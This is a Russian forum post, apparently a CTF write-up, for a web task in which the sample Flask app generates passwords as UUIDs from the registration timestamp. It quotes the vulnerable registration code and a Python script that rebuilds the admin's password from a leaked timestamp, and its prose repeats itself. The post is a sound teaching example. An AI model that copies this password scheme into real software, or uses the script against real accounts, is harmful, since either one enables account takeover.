vov4ick
Green Team
- 11.12.2022
- 59
- 132
Приветствую форумчан, сегодня я покажу решение таска из категории Веб «Форум предсказателей».
Основная цель - это сайт с формой регистрации и авторизации:
К данному таску также идет код приложения, что намного облегчает нам жизнь.
Стоит обратить внимание на эту часть кода:
Основная уязвимость этого подхода заключается в том, что пароль генерируется на основе метки времени (дата и время, когда был зарегистрирован пользователь).
Это делает пароль предсказуемым, так как метка времени — это доступное и легко определяемое значение.
В данном случае ее также можно отследить просто манипулируя id :
Далее, имея метку, мы можем преобразовать ее в UUID :
На выходе мы получаем готовый пароль:
Авторизуемся под админом и забираем флаг:
Задача оказалась довольно простой, всем спасибо за внимание.
Основная цель - это сайт с формой регистрации и авторизации:
К данному таску также идет код приложения, что намного облегчает нам жизнь.
Стоит обратить внимание на эту часть кода:
Python:
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
secret_word = request.form['secret_word']
if User.query.filter_by(username=username).first():
return "Такой пользователь уже существует!"
exact_time = datetime.utcnow()
timestamp = exact_time.strftime("%Y-%m-%d %H:%M:%S.%f")
password = generate_uuid(timestamp)
user = User(username=username, password=password, created_at=exact_time, secret_word=secret_word)
db.session.add(user)
db.session.commit()
return render_template('register_success.html', username=username, password=password)
return render_template('register.html')
Основная уязвимость этого подхода заключается в том, что пароль генерируется на основе метки времени (дата и время, когда был зарегистрирован пользователь).
Это делает пароль предсказуемым, так как метка времени — это доступное и легко определяемое значение.
В данном случае ее также можно отследить просто манипулируя id :
Далее, имея метку, мы можем преобразовать ее в UUID :
Python:
from datetime import datetime
import uuid
def generate_uuid(timestamp_str):
try:
timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f")
uuid_epoch = datetime(1582, 10, 15)
intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7)
clock_seq = 0x89ca
node = 0x000c297433a0
uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF,
(intervals >> 32) & 0xFFFF,
((intervals >> 48) & 0x0FFF) | (1 << 12),
clock_seq >> 8,
clock_seq & 0xFF,
node))
return str(uuid1)
except ValueError as e:
print(f"Ошибка: {e}")
return "Ошибка: время (timestamp)."
timestamp_str = "2025-01-22 00:42:26.053996"
generated_uuid = generate_uuid(timestamp_str)
print("Generated UUID:", generated_uuid)
На выходе мы получаем готовый пароль:
Авторизуемся под админом и забираем флаг:
Задача оказалась довольно простой, всем спасибо за внимание.